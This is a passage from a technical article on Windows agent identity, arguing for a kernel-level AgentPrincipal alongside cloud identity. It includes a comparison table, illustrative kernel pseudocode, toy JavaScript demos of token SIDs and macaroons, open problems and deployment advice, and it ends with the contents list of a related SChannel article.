Google AP2 plus Mastercard Verifiable Intent. The W3C Verifiable Credential-shaped mandate ladder for agent-initiated commerce [@ap2-protocol; @ap2-github; @ap2-cloud-blog; @vi-dev; @w3c-vc-2]. The September 2025 launch vocabulary used Intent / Cart / Payment mandates [@ap2-cloud-blog]; the current v0.2 spec uses Checkout (Open / Closed) and Payment (Open / Closed) [@ap2-protocol]. The April 28, 2026 FIDO donation moves the spec to multi-vendor governance [@ap2-blog-google].
The IETF individual draft for agents on behalf of users. draft-oauth-ai-agents-on-behalf-of-user by Thilina Senarath and Ayesha Dissanayaka [@ietf-draft-agentoauth]. The current revision introduces the requested_actor parameter in authorisation requests and the actor_token parameter in token requests to authenticate the agent during code-to-token exchange [@ietf-draft-agentoauth]. The original -00 revision used requested_agent and defined an explicit grant type urn:ietf:params:oauth:grant-type:agent-authorization_code [@ietf-draft-agentoauth-00]; the parameter rename is documented and recent. The draft is an individual submission, not yet a working-group document.

Position	Principal lives in	Token format	Revocation surface
Cloud-only (Entra Agent ID + RFC 8693)	Entra directory	JWT with `act` claim	Sign-in policy + CAE
OS-only (hypothetical AgentPrincipal)	Kernel access token	Token-resident SID	Local SID purge + Defender
Token broker (WAM extended)	WAM cache (TPM-bound)	Macaroon or signed capability	WAM eviction + macaroon allow-list
MCP authorisation profile	MCP server's IdP	OAuth 2.1 bearer	OAuth introspection
AP2 plus Verifiable Intent	Mandate issuer	SD-JWT VC chain	Mandate revocation registry
IETF agent-OBO draft	Authorisation server	JWT with `actor_token`	OAuth introspection

Key idea: Most of the primitives exist on Windows today: AppContainer package SIDs, Kerberos S4U2Proxy, WebAuthn and Windows Hello, TPM 2.0 Direct Anonymous Attestation, the Administrator-Protection separate-session pattern, WAM, ETW. What does not exist is the coherent glue -- a kernel-recognised AgentPrincipal that downstream consumers treat as first-class. The article's position is that agent identity belongs at both the cloud layer and the OS layer, with the OS layer being the missing piece in May 2026. The cloud layer makes Conditional Access work; the OS layer makes endpoint detection work; both are necessary; neither is sufficient.

Even the union of all three positions has structural ceilings. What are the limits no engineering can buy?

8. Three ceilings no engineering can buy

Three structural ceilings constrain every agent-attribution architecture, regardless of which of the three positions wins.

8.1 The semantic-intent ceiling

No cryptographic primitive can distinguish "the user wanted the agent to delete this file" from "the user wanted to delete this file" once both calls go through the same syscall. The OS sees bytes, not intent. The strongest architecture binds each intent to a fresh user-verification gesture (passkey plus Hello); at the limit, this requires one gesture per syscall, which is operationally unusable. The practical optimum is batched intent traded off against granularity of audit: the user authorises a session-scoped delegation ("for the next 20 minutes, this agent may modify files under .\old-builds"), the system mints a macaroon attenuated to that scope, and the audit log records the macaroon issuance plus every syscall it gates. The intent is bounded by the scope of the gesture; the audit reconstructs intent after the fact from scope plus action.

8.2 The Confused-Deputy ceiling

Hardy 1988, in the verbatim formulation that began the genealogy. "The fundamental problem is that the compiler runs with authority stemming from two sources. (That's why the compiler is a confused deputy.) ... The compiler had no way of expressing these intents!" [@hardy-caplore]. Any system that grants a deputy ambient authority -- authority derived from multiple sources without the deputy being able to name which authority it intends to exercise for a given action -- is structurally susceptible to confused-deputy attacks. Capability-style attenuation (macaroons, capability SIDs in AppContainer) mitigates by forcing the deputy to name the authority on every call; it does not eliminate, because a deputy that holds two authorities can be tricked into presenting the wrong one if the protocol does not require the relying party to verify the intent.

8.3 The "running as the user" ceiling and the MSRC servicing-criteria rule

As long as the agent process runs under the user's primary token, the agent inherits the user's TGT, the user's DPAPI master keys, and the user's network privileges by construction. That inheritance is what makes attribution collapse. The proposed remedy in Section 6 is an AgentPrincipal that lives next to the user SID in the same token. The remedy depends on whether the Windows Security Response Center treats user-versus-agent as a defended security boundary.

The MSRC servicing criteria document defines the boundary taxonomy. The verbatim opening: "Does the vulnerability violate the goal or intent of a security boundary or a security feature? ... A security boundary provides a logical separation between the code and data of security domains with different levels of trust" [@ms-msrc-servicing]. The same document gives the kernel-mode-versus-user-mode separation as the canonical example of a security boundary, and that example is the article's anchor for what counts as a security boundary under current MSRC policy. By inference from the boundary taxonomy table, within the same logon session and the same primary token, a defect that requires the attacker to already be running as the user does not, by default, constitute a violation of a security boundary -- it is, under the criteria, a defense-in-depth concern rather than a CVE-eligible servicing event.

The MSRC document is the governance object that fixes the rule. For an OS-level `AgentPrincipal` to be a defensible boundary -- and therefore for an agent-bypass to qualify as a CVE-eligible servicing event -- the document itself would have to be amended to add the user-versus-agent split to the boundary taxonomy.

That is not an engineering ask. It is a governance ask. Microsoft has amended the document before (AppContainer was added to the security-boundary list during the Windows 10 era; Win32 App Isolation is built on the foundation of AppContainers, "which is recognized as a security boundary by Microsoft" [@ms-blogs-win32appiso]). The amendment is possible. It is not obviously imminent. As of May 2026 the MSRC document does not contain agent-related boundary language.

That third ceiling lands the shift. The deepest part of the gap is not engineering -- it is policy. The engineering substrate is more or less in place; the governance posture is not. An OS-level AgentPrincipal either becomes a new defended boundary (a major policy shift) or ships as a feature without boundary semantics (no CVE eligibility for agent-bypass). The Confused-Deputy ceiling is the structural mirror of the same observation: the only mitigation a deputy can perform is to name the two authorities at the access-check, which is what AgentPrincipal would do.

Given the structural ceilings, what specifically is still open in May 2026?

9. Seven open problems

Seven numbered, unsolved problems as of May 2026. None of them are blocked by physics; all of them are blocked by some combination of plumbing, packaging convention, and policy.

Note: The state-of-the-art inventory this article rests on names seven open problems; an earlier pass listed six and missed the methodological one (no shared cross-method benchmark). The seventh is restored at the end of this section, and three of the existing problems (cross-process delegation, signed-binary harvesting, and the DAA deployment chain) are walked through in worked-example form using kernel and TPM primitives the prior sections have named.

9.1 The Electron and Win32 packaging gap

Claude Desktop, ChatGPT Desktop, and Cursor are Electron and NSIS-installed apps; GitHub Copilot CLI is a Node.js CLI distributed via npm, WinGet, or MSI. None of them ships as MSIX. The package SID surface from AppContainer does not reach them; nothing in their primary token marks them as an agent class. Win32 App Isolation [@ms-blogs-win32appiso] is the in-flight retrofit -- adoption among agent vendors three years after the public preview is minimal. Until the dominant agent vendors ship under MSIX or Win32 App Isolation, the only kernel-level identifier the Pillar 2 substrate can grab onto does not exist for the agents readers actually have installed.

9.2 Cross-process delegation: a worked example

The failure mode lives at the kernel layer and is invisible from the source code of the agent. Claude Desktop on Windows 11 24H2 is a non-MSIX, NSIS-installed Electron binary whose primary process runs under the user's primary token. When that process calls CreateProcessW(L"powershell.exe", L"-NoProfile -Command \"Remove-Item ...\"", ...) to shell out, the kernel side of NtCreateUserProcess calls PspAllocateProcess, which calls into the security reference monitor to assign a primary token to the child. By default -- when the caller passes neither a replacement token through CreateProcessAsUserW nor a PROC_THREAD_ATTRIBUTE_SECURITY_CAPABILITIES entry in STARTUPINFOEX::lpAttributeList -- the kernel duplicates the parent's primary token verbatim. Microsoft Learn is explicit: "The new process runs in the security context of the calling process" [@ms-learn-createproc]. The child inherits the user's SID, the user's group SID list, the user's privileges, the medium integrity level, and the per-session logon SID. No TokenAppContainerSid is present (GetTokenInformation(..., TokenIsAppContainer, ...) returns zero); no TokenPackageClaims field is present. There is no field anywhere in the child's primary token that distinguishes "this PowerShell child was launched by Claude Desktop" from "this PowerShell child was launched by Notepad."

The rule that does work for packaged parents -- and the cliff at the unpackaged boundary -- are both in Microsoft Learn for legacy-application AppContainer behaviour: "When an unpackaged process running in an app container calls CreateProcess, the child process typically inherits the parent's token. That token includes the integrity level (IL) and app container info" [@ms-learn-appcontainer-legacy]. For an MSIX-packaged parent like Microsoft Copilot for Windows, the kernel propagates the TokenAppContainerSid and capability list to the child [@ms-learn-msix-container]. For an unpackaged Electron parent, the rule does not fire because there is nothing to propagate; even for the packaged parent, the package SID identifies the package, not an agent role. The semantics the article calls for -- "this child is acting on behalf of the user, and the agent making that decision is X" -- has no kernel-layer encoding today.

A hypothetical AgentPrincipal-preserving inheritance rule would extend the existing AppContainer rule. The pseudocode below is illustrative of an unshipped kernel routine; it cannot be executed.

// PspAssignPrimaryTokenWithAgentInheritance (kernel-mode, called by
// NtCreateUserProcess via PspAllocateProcess for the SRM token path).

NTSTATUS PspAssignPrimaryTokenWithAgentInheritance(
    PEPROCESS  ChildProcess,
    PEPROCESS  ParentProcess,
    PTOKEN     ParentToken,
    PSECURITY_CAPABILITIES Caps,
    PIMAGE_SECTION_OBJECT  ChildImage)
{
    PTOKEN ChildToken;
    NTSTATUS s = SeSubProcessToken(ParentToken, &ChildToken);
    if (!NT_SUCCESS(s)) return s;

    // Existing rule (today's kernel): propagate AppContainer SID + caps
    // when the parent token is in an AppContainer.
    if (SeTokenIsAppContainer(ParentToken)) {
        SePropagateAppContainerSids(ParentToken, ChildToken);
    }

    // New rule: AgentPrincipal inheritance with refusal path.
    PTOKEN_AGENT_PRINCIPAL_INFORMATION AgentInfo =
        SeQueryAgentPrincipalInformation(ParentToken);
    if (AgentInfo != NULL) {
        // Child image must be Authenticode-signed and on the
        // AgentSID's per-tool allowlist authored at agent-install
        // time via the FIDO AATWG Pillar 1 ceremony.
        if (!SeImageIsAuthenticodeSigned(ChildImage) ||
            !SeAgentAllowlistContains(AgentInfo->AgentSid,
                                      ChildImage->SignerCertHash)) {
            ObDereferenceObject(ChildToken);
            return STATUS_AGENT_TOOL_NOT_ALLOWED;
        }
        SePropagateAgentPrincipal(AgentInfo, ChildToken);
        EtwWriteAgentChildProcessCreated(
            ParentProcess, ChildProcess, AgentInfo->AgentSid);
    }
    return PsAssignPrimaryToken(ChildProcess, ChildToken);
}

The refusal path is the load-bearing part. Today, CreateProcess from an agent process to any binary the user can execute succeeds. Under the proposed rule, the agent's per-tool allowlist is the access-check boundary: a child image not on the allowlist -- for example, an attacker-dropped payload.exe masquerading as PowerShell -- is refused at the syscall layer, with the refusal landing in ETW as an AgentToolDenied event correlated to the agent SID. Win32 App Isolation already ships an analogous inheritance-with-refusal shape for unpackaged Win32 binaries: the Application Capability Profiler produces a developer-supplied capability profile that the kernel enforces at child-process creation, with unprofiled syscalls failing the same way AppContainer fails capability-bounded calls today [@ms-learn-win32appiso-overview]. The missing piece for the agent case is the agent dimension on the token, not the mechanism.

Note: Even if Windows ships an AgentPrincipal, every agent that shells out to PowerShell, Node, or Python today loses agent-attribution at the child-process boundary, because non-packaged children inherit the user's primary token unmodified. Agent vendors should assume that "shell out to a language runtime" is the default attack path; readers writing agent tools should keep operations inside the agent process where possible.

9.3 Revocation latency

Revoking an agent's Entra Agent ID in the cloud should fan out to a Kerberos TGT purge plus local token-cache invalidation plus a WAM cache flush, without logging the user out. The plumbing does not exist on Windows. Continuous Access Evaluation is the closest cloud-side analog -- it can short-circuit access-token reuse against a remote API on the cloud side, but it cannot reach the user's local Kerberos cache or the user's local DPAPI scope.

9.4 MCP authorisation alignment

Every MCP server today runs its own OAuth 2.1 plus RFC 9728 PRM dance [@anthropic-mcp-2025-11-25]. The OS-side agent principal has no role; per-tool authorisation lives above the OS and is invisible to ETW and Defender. An MCP-aware AgentPrincipal would let the OS surface the per-tool grant chain as part of the access-check audit record, so EDR can correlate an MCP grant to a downstream syscall.

9.5 DAA-for-agent-class deployment: end-to-end

TPM 2.0 Direct Anonymous Attestation can, in principle, prove "this binary is some Claude Desktop" without identifying the specific instance. As of May 2026 no agent vendor uses DAA as an attestation issuer for itself; the deployment glue between Pluton, Azure Attestation Service, and an AATWG Pillar 2 verifier does not exist. The cryptographic substrate is in the TPM; the deployment pipeline that would carry it is not. Working the chain end-to-end clarifies what would have to ship.

Leg 1: the agent vendor as DAA issuer. Anthropic, Microsoft, or Cursor plays the role of DAA Issuer in the canonical three-entity formulation: "The entities are the DAA Member (TPM platform or EPID-enabled microprocessor), the DAA Issuer and the DAA Verifier. The issuer is charged to verify the TPM platform during the Join step and to issue DAA credential to the platform" [@wiki-daa]. The vendor maintains a long-term issuer key pair; the public half is the basename a verifier consults. Discovery is conventionally JSON Web Key Set under OpenID Connect Discovery 1.0, the same mechanism Azure Attestation Service itself exposes for relying parties [@ms-learn-aas-concepts]. No agent vendor publishes such an endpoint today.

Leg 2: the Join step at first run. On first agent launch, a Windows-side broker (a proposed extension to WAM) mediates the Join with the vendor's issuer endpoint. Conceptually, the local Pluton or TPM runs TPM2_CreatePrimary(hierarchy = TPM_RH_ENDORSEMENT, inPublic.type = TPM_ALG_ECDAA, ...) to mint the member key, then TPM2_Commit to produce the ECDAA ephemeral commitments. The vendor issues an ECDAA membership credential -- not a per-device cert; the credential is unlinkable across signatures by construction -- and Pluton stores it in non-volatile memory [@ms-learn-pluton-tpm]. The user's WebAuthn-bound consent (the Pillar 1 evidence) is recorded in the vendor's audit log. The WAM broker has no agent-scoped DAA Join extension as of May 2026.

Leg 3: the Sign step on each agent action. Per-action, Pluton runs TPM2_Commit with the verifier's nonce, then TPM2_Sign(daaMemberKey, message_digest, scheme = TPM_ALG_ECDAA). The WAM broker bundles the ECDAA signature into an Azure-Attestation-Service-style JWT envelope and submits it to the AATWG Pillar 2 verifier endpoint [@ms-learn-aas-overview; @ms-learn-aas-concepts]. The verifier de-serialises the JWT, runs the four-step check from Problem 6 (Authenticode chain plus Pluton EK chain plus measured-boot PCRs plus application-load PCR) plus the ECDAA verification. The verifier learns "some Anthropic Claude Desktop is making this request" but not which device; two consecutive actions from the same agent on the same device are cryptographically indistinguishable from two actions on different devices. The Azure Attestation Service policy engine does not carry an "agent-class membership" claim type that downstream Conditional Access can consume as a signal today.

The deployment gap, taken together, is integration rather than algorithm. Every primitive exists in the TCG TPM 2.0 specification, in the Azure Attestation Service engine, and in the WAM broker. Nobody has glued vendor-issuer plus Pluton-member plus WAM-broker plus AAS-verifier into a shipping pipeline. The corpus's sibling DAA article carries the verbatim TCG protocol detail; this section anchors the deployment chain to the Windows-side primitives Microsoft documents.

9.6 Signed-binary harvesting: a worked example

An attacker who steals a legitimately signed agent binary inherits any AgentPrincipal that would otherwise be granted to that binary -- unless attestation is bound to runtime state, which DAA alone cannot provide. The attack is the Stuxnet-class supply-chain pattern, generalised to the agent case.

The attacker compromises Anthropic's signing infrastructure -- the private-key custodian for the EV code-signing certificate, or the build pipeline that calls the custodian. The historical precedent for this exact attack shape is the 2010 Stuxnet incident, in which two distinct Authenticode driver-signing certificates were exfiltrated from JMicron Technology Corp and Realtek Semiconductor Corp (both VeriSign-issued) and used to produce kernel drivers Windows accepted as legitimate [@wiki-stuxnet]. The attacker now produces claude-desktop-evil.exe with the Anthropic Subject Name signed by the legitimate private key; wintrust.dll!WinVerifyTrust returns S_OK. To every existing Authenticode consumer -- App Control for Business publisher rules, AppLocker publisher conditions, Defender signer-based exclusions -- the malicious binary is indistinguishable from the legitimate Claude Desktop. If a hypothetical AgentPrincipal is bound to the install-time Authenticode signature alone, Windows mints the same AgentSid for the malicious binary; the audit trail still reads "Claude Desktop did X" because the binary cryptographically is Claude Desktop as far as the load-time check can tell.

The remediation runs through Pluton's measured-boot chain plus Azure Attestation Service. Microsoft Pluton "provides hardware-based root of trust, secure identity, secure attestation, and cryptographic services" [@ms-learn-pluton]; secure attestation is exactly the role this attack requires. Pluton-rooted attestation is a TPM 2.0 TPM2_Quote over a selected set of Platform Configuration Registers signed by an Attestation Identity Key whose endorsement chain terminates at Pluton's manufacturer-burned Endorsement Key [@ms-learn-pluton-tpm]. The PCRs that matter for distinguishing the legitimate Claude Desktop from claude-desktop-evil.exe are PCRs 0 through 7 (UEFI firmware, Option ROMs, boot manager, Secure Boot policy -- the pre-OS measured-boot range per the TCG PC Client Platform Firmware Profile), PCR 11 (BitLocker and the OS loader application code path, into which ELAM and kernel-mode driver measurements extend on Windows), and an application-extend PCR (PCR 12 in many shipping configurations, sometimes a virtual PCR via the TPM Base Services or VBS) carrying the SHA-256 of the on-disk agent image plus the cumulative hash of in-process module loads. The wire format the verifier evaluates is the Azure-Attestation-Service JWT envelope [@ms-learn-aas-overview; @ms-learn-aas-concepts].

The AATWG Pillar 2 verifier performs four cascaded checks in order. (1) Authenticode chain valid -- the agent binary's image hash is covered by an Authenticode signature whose chain terminates in a trusted root; this is the only check today. (2) Pluton EK chain valid -- the AAS-issued JWT was signed by an AIK whose endorsement chain terminates at a Microsoft-issued Pluton EK certificate, proving the quote came from real hardware. (3) Measured-boot PCRs in known-good set -- PCRs 0 through 11 match a reference value for the user's claimed device class and OS build (Windows 11 24H2, Secure Boot on, VBS on). (4) Application-load PCR matches the published-by-vendor measurement -- PCR 12 matches the hash the agent vendor published in a verifier-discoverable channel for the legitimate release. Step (4) is the runtime-state binding. The attacker now needs either to compromise the vendor's published-hashes channel in addition to the signing key, or to compromise the user's Pluton-rooted measured-boot chain in addition to the signing key. Both are strictly stronger compromises; both raise the attacker's cost by a hardware-vs-software factor. No agent vendor publishes the application-load-PCR reference channel today; the AATWG Pillar 2 verifier reference implementation does not exist.

9.7 Agent-identity benchmark gap

No published peer-reviewed benchmark suite compares the cloud, OS, and broker positions on a common agent-attribution workload as of May 2026. The closest available empirical results are vendor-internal: AP2 v0.2 demo measurements published with the September 2025 cloud.google.com launch and the subsequent ap2-protocol.org release notes [@ap2-cloud-blog; @ap2-protocol]; Microsoft Build 2025 session telemetry for WAM Token Protection latency [@ms-learn-wam]; RFC 8693 OAuth Token Exchange implementations measured in IEEE / ACM / USENIX venues since 2019 [@ietf-rfc-8693] but in non-agent configurations. None of these is a comparison; all are baselines.

The absence matters at two levels. Practitioners deploying an agent stack in 2026 cannot make principled latency, scale, or audit-completeness tradeoffs across the seven methods catalogued in Section 7 without a shared harness; a cloud-managed enterprise running Entra Agent ID plus RFC 8693 plus MCP cannot compare its per-action token-mint latency against a competing WAM-extended deployment without rerunning both stacks under the same workload. At the literature level, the field has named its primitives, sketched its composition rules, and assembled its wire formats but has not yet produced shared evaluation workloads.

A public AATWG-blessed benchmark would have to measure four axes matching the four distinct architectural moves the article catalogues: per-action token-mint latency from agent decision to capability-token presentation; ETW event volume per agent action and per agent session; attestation chain length (Pluton AIK to AAS JWT to vendor ECDAA to relying-party verify) in the Pillar 2 path; and cross-process-delegation propagation success rate (the §9.2 property -- the fraction of agent-spawned child processes that retain agent attribution end-to-end). The four axes are necessary because the seven methods make incomparable tradeoffs across them, and the only honest cross-method statement today is the negative one: no shared benchmark exists.

10. What to ship today

Six things a Windows engineer or agent vendor can do in May 2026 using only primitives that already ship.

Ship the agent as an MSIX-packaged app to get a stable package SID. The package SID is not an agent principal, but it is the only kernel-level identifier you can rely on today [@ms-learn-appcontainer; @ms-learn-appcontainer-legacy]. Packaging is the precondition for per-package DPAPI scope, capability-gated network egress under Windows Filtering Platform, and any future AgentPrincipal retrofit -- a non-packaged Electron app gets none of these.
Mint agent-scoped tokens from Entra Agent ID rather than letting the agent act under the user's delegated token [@ms-learn-agentid; @ms-learn-agentoauth]. You get Conditional Access on the agent identity, Purview agent-interaction audit fields, and a sign-in log entry distinct from the user's. Available grant types are client_credentials, jwt-bearer, and refresh_token; interactive flows are not supported for agent entities [@ms-learn-agentobo].
Use Kerberos Resource-Based Constrained Delegation rather than unconstrained delegation. Scope the allowed-to-delegate-to list to the specific back-end services the agent legitimately calls [@ms-learn-mssfu]. RBCD inverts the authoring point: the back-end resource names the front-end services it accepts delegation from, which is the right authoring point when the agent population changes faster than the back-end population.
Route agent tool invocations through an MCP server with the 2025-11-25 OAuth 2.1 plus RFC 9728 PRM authorisation profile enabled [@anthropic-mcp-2025-11-25; @ietf-rfc-9728; @ietf-oauth-v2-1]. Do not rely on the user's logon credentials at the tool layer. Each tool grant is then explicit, scoped, and revocable independently of the user's session.

Note: The cost of MSIX packaging is paid once, at install-time, and the cost of leaving the Electron user-DPAPI scope alone is paid forever. Every future agent-attribution retrofit -- per-package DPAPI scope, capability-gated network egress, an AgentPrincipal token field -- depends on the package SID being there to attach to. Pay the install-time cost.

Treat every locally stored agent secret as a user-DPAPI-scope liability for Electron-wrapped agents. Any other process under the same user can decrypt it. If isolation matters, store the secret in a Virtualisation-Based Security trustlet behind Credential Guard, in an AppContainer per-package DPAPI scope, or in a Pluton-backed key. The substrate exists; the decision is whether to use it.
Subscribe to the FIDO Alliance AATWG and Payments TWG mailing lists [@fido-aatwg-pr; @fido-aatwg-landing]. Wire formats are in flight; deployment characteristics will not be settled until at least H2 2026. The mailing-list traffic is the cheapest signal you can get on what the agent-protocol wire format will look like in 2027.

Open an elevated PowerShell prompt and run `whoami /all`. You will see the primary user SID, the group SIDs, the integrity-level overlay, and the enabled privileges that your shell process is currently running with -- the exact data structure the kernel reads on every `SeAccessCheck` call.

If you have an MSIX-packaged AppContainer process available (the Microsoft Store apps are the easiest source), run Get-AppxPackage | Select Name, PackageFamilyName, SignatureKind and then Get-AppxPackage <Name> | Get-AppxPackageManifest to see the capability list. The capability SIDs that show up in the manifest are the per-resource gates that AppContainer adds on top of the package SID. There is, today, no analogous whoami /agent command. That absence is the gap.

The first RunnableCode block gives a hands-on feel for the shape of a primary token's principal set and what the proposed AgentPrincipal would add. The second demonstrates macaroon attenuation so the chained-HMAC construction stops being abstract.

{` // Conceptual model of a Windows access token, as whoami /all would print it. // On a non-AppContainer process today there are user/group SIDs but no // package SID and no proposed AgentPrincipalSid. const tokenToday = { primaryUserSid: 'S-1-5-21-3623811015-3361044348-30300820-1013', groupSids: [ 'S-1-5-21-3623811015-3361044348-30300820-513', // Domain Users 'S-1-5-32-545', // BUILTIN\\Users 'S-1-5-11', // Authenticated Users ], packageSid: null, // not in an AppContainer agentPrincipalSid: null, // proposed in this article; not in any shipping build integrityLevel: 'Medium', };

// Same agent process under the proposed seventh-generation token shape. const tokenWithAgentPrincipal = Object.assign({}, tokenToday, { packageSid: 'S-1-15-2-2756086904-3023256918-1882200006-3954548928-2786400166-3567463568-3801030027', agentPrincipalSid: 'S-1-15-7-1001-AGENT-CLAUDE-DESKTOP', integrityLevel: 'Low', });

function summarise(label, t) { console.log('--- ' + label + ' ---'); console.log('Primary user SID: ' + t.primaryUserSid); console.log('Package SID: ' + (t.packageSid || '(none)')); console.log('Agent SID: ' + (t.agentPrincipalSid || '(none)')); console.log('Integrity: ' + t.integrityLevel); }

summarise('Token today (Electron Claude Desktop under user logon)', tokenToday); summarise('Token after the seventh generation', tokenWithAgentPrincipal); `}

{` // Conceptual macaroon: each caveat is bound by a fresh HMAC over the prior // HMAC plus the caveat text. The holder can only attenuate; never expand. const crypto = { hmac(key, msg) { // Toy mixing function, not cryptographic. Real macaroons use HMAC-SHA256. let h = 2166136261; const data = String(key) + '|' + String(msg); for (let i = 0; i < data.length; i++) { h = Math.imul(h ^ data.charCodeAt(i), 16777619); } return ('00000000' + (h >>> 0).toString(16)).slice(-8); }, };

function mint(rootKey, identifier) { const sig = crypto.hmac(rootKey, identifier); return { id: identifier, caveats: [], sig }; }

function attenuate(macaroon, caveat) { const nextSig = crypto.hmac(macaroon.sig, caveat); return { id: macaroon.id, caveats: macaroon.caveats.concat([caveat]), sig: nextSig, }; }

function verify(rootKey, macaroon) { let sig = crypto.hmac(rootKey, macaroon.id); for (const c of macaroon.caveats) { sig = crypto.hmac(sig, c); } return sig === macaroon.sig; }

const ROOT = 'agent-issuer-root-secret-123'; const m0 = mint(ROOT, 'agent-claude-desktop-session-42'); const m1 = attenuate(m0, 'tool = filesystem.read'); const m2 = attenuate(m1, 'path-prefix = C:\\Users\\parag\\projects'); const m3 = attenuate(m2, 'expires-at = 2026-05-25T15:00:00Z');

console.log('Base verified: ' + verify(ROOT, m0)); console.log('Three-caveat chain: ' + verify(ROOT, m3));

// Holder cannot un-attenuate. A holder who tries to drop a caveat would // have to compute the prior signature, which requires the issuer's secret. const tampered = { id: m3.id, caveats: m3.caveats.slice(0, 2), sig: m3.sig }; console.log('Tampered (verify): ' + verify(ROOT, tampered)); `}

Six things you can do today; eight misconceptions you can stop carrying.

11. Misconceptions and practical concerns

Entra Agent ID solves the cloud-side half. It gives an agent a directory entry, a sign-in log, a Conditional Access surface, and a token-exchange path under `client_credentials`, `jwt-bearer`, and `refresh_token` grants [@ms-learn-agentid; @ms-learn-agentoauth]. What it does not do is reach inside the operating system. A locally-installed agent with an Entra Agent ID still calls the Windows file-system API under the user's primary token, decrypts user-DPAPI blobs as the user, and impersonates over RPC as the user. The OS-side attribution stays collapsed even when the cloud-side attribution is clean. Both layers are necessary; neither is sufficient. The Microsoft On-Behalf-Of flow [@ms-learn-obo-flow] and RFC 8693 Token Exchange [@ietf-rfc-8693] solve the *back-end-to-back-end* delegation problem: a web API can call another web API as the user. They do not address desktop attribution. When the user's Microsoft 365 Copilot client (running on the user's desktop as the user) calls a downstream API, the cloud-side token carries the actor claims; the desktop-side process still runs under the user's primary token, and the OS-side audit trail still records the user as the syscall principal. OBO is the cloud answer to a different question. The package SID is part of the agent attribution story, but it does not by itself constitute agent attribution. The verbatim Microsoft Learn rule is that "the permitted access is the intersection of that granted by the user/group SIDs and AppContainer SIDs" [@ms-learn-appcontainer]. That gives the access-check a way to restrict the package's authority below the user's; it does not give downstream consumers a way to distinguish "this package is an AI agent acting on a separable principal" from "this package is a UWP weather app." Treating the package SID as the agent principal also fails at the boundary every Electron-wrapped agent crosses today: those agents are not packaged, so they do not get a package SID at all. NT 3.1 solved *user* attribution. The primary token model, the user SID structure, impersonation, `SeAccessCheck` -- all of these are about distinguishing one user from another and about a thread temporarily speaking as a different identity [@ms-learn-sids]. None of them solved *code* identity (which took until 1996 with Authenticode and was still being refined in 2017 with App Control for Business) and none of them solved *agent* identity (the open problem this article is about). The article must not conflate the three. The 1993 milestone is the foundation; it is also incomplete by design for the question that arrived in 2025. Putting the agent in AppContainer gets you a package SID, a per-package DPAPI scope, capability-gated network egress, and a LowBox token; do this regardless of whether you call it an agent. What AppContainer does not give you is a kernel-level signal that distinguishes agent semantics from app semantics. Defender, ETW, and Conditional Access read package SIDs as package identifiers, not as agent role markers. A full agent-principal answer needs both the AppContainer-style sandbox and a sibling-principal SID that downstream consumers explicitly understand to be an agent identity, separately governed and separately revocable. Administrator Protection is the existence proof that Windows can mint a second logon-session principal for a bounded action under a Hello user-verification gesture. As of May 2026 it is in Insider preview, not generally available; the feature surfaced on Insider builds in late 2025 and subsequent Insider build iterations have continued through 2026 [@ms-techcomm-adminprot]. The architectural pattern -- separate logon session, Hello gesture, scoped to one action -- is exactly the shape the seventh-generation agent principal would take. What it does not do today is generalise to delegation. The System-Managed Administrator Account is scoped to elevation. The agent-principal version would be scoped to "this agent for the duration of this delegated session"; the policy machinery does not yet exist. No. Macaroons attenuate offline: the holder appends a caveat and a fresh HMAC, derives a strictly weaker macaroon, and presents it; the verifier walks the chain. OAuth bearer tokens cannot attenuate without round-tripping the authorisation server, which makes them structurally unfit for an agent that talks to many tools with many different scope shapes [@macaroons-ndss; @macaroons-gr]. See §7.3 for the worked construction. The Windows framing is specific because the article is specifically about Windows. The underlying problem is platform-general. iOS App Attest (`DCAppAttestService`) and the Android per-app UID model are the cross-platform analogs of an OS-level application principal; neither has a published agent-identity story as of May 2026. macOS has its own per-app code-signing and entitlement substrate; it also has no shipping agent-principal model. Linux distributions vary. The fact that Windows ships the AppContainer dual-principal substrate already, plus the Administrator Protection bounded-second-principal existence proof, plus the Pluton-rooted attestation chain, makes Windows the operating system where the seventh-generation answer is most legibly close. It is not a Windows-only problem; it is a problem where Windows is unusually well-equipped to solve it next.

The position the article ends on is the one each prior section pushed toward. As of May 2026 the cloud-identity layer has crossed the agentic-identity gap. The OS layer has not. The substrate primitives are largely in place: AppContainer package SIDs and the LowBox token, Kerberos S4U2Self and S4U2Proxy, WAM with TPM-bound refresh tokens, WebAuthn and Windows Hello with TPM-rooted user verification, TPM 2.0 Direct Anonymous Attestation, the Administrator-Protection separate-logon-session pattern, ETW as an audit channel. The missing piece is a kernel-recognised AgentPrincipal extended from the package-SID substrate, gated by Hello-mediated Verifiable User Instructions, scoped via a macaroon-style per-tool capability layer, audited via an ETW SubjectAgentSid field, and revocable via a CAE-style fan-out that does not require logging the user out. The MSRC servicing criteria document is the governance object that determines whether the seventh generation is a defensible security boundary or a defense-in-depth feature; that document has not been amended.

The question is when, not whether, Windows ships the seventh generation.

Parag Mali - tag: windows-security

Rotating Every Cipher: SChannel and the Twenty-Year Algorithm-Agility Story of Windows TLS

1. Two PowerShell Outputs, Twelve Years Apart

Which Windows endpoints SChannel actually owns

The artifact comparison

2. Before CNG: PCT 1.0, SSL, and the Tyranny of ALG_ID

CryptoAPI 1.0 and the CSP cage

The PCT failure as a positive lesson

3. Configuration Agility Without Substrate Agility: XP and Server 2003

The four sub-keys an XP / Server 2003 box exposed

The CSP layer underneath: PROV_RSA_SCHANNEL and CALG_TLS1PRF

The SSL Cipher Suite Order GPO -- and why it is a Vista-era artifact, not a 2003-era one

No enumeration tool on Server 2003

The agility split: configuration vs. substrate

4. CNG: Where Vista Made Algorithm Agility First-Class (January 2007)

BCrypt: algorithms become strings

NCrypt: key custodians become pluggable

How SChannel uses CNG

The agility property, stated forward

SymCrypt as the parallel track

5. Five Generations of Cipher-Suite Rotation, 2009 to 2025

G1 -- ECDHE plus AES-GCM (Windows 7 / Server 2008 R2, October 2009)

G2 -- RC4 deprecation (KB2868725, November 12 2013, default-off 2016)

G3 -- 3DES retirement (Windows 10 v1903, May 2019 Update)

G4 -- SHA-1 sunset (2016 to 2022)

G5 -- TLS 1.0 / 1.1 disablement (2020 to 2025)

6. MS14-066 / WinShock: What Happened, What It Was Not

What MS14-066 actually was

What MS14-066 was not

What it occasioned

What it was not, part two: not the trigger for SymCrypt

7. The Certificate-Validation Pipeline: CertGetCertificateChain, OCSP, and the Microsoft Trusted Root Program

The chain engine

Revocation: CRL, OCSP, OCSP stapling

The Microsoft Trusted Root Program and the CCADB

Two worked examples: DigiNotar (2011) and Symantec (2018)

Enterprise observability: CAPI2/Operational event IDs

A cautionary tale: CVE-2020-0601, "Curveball"

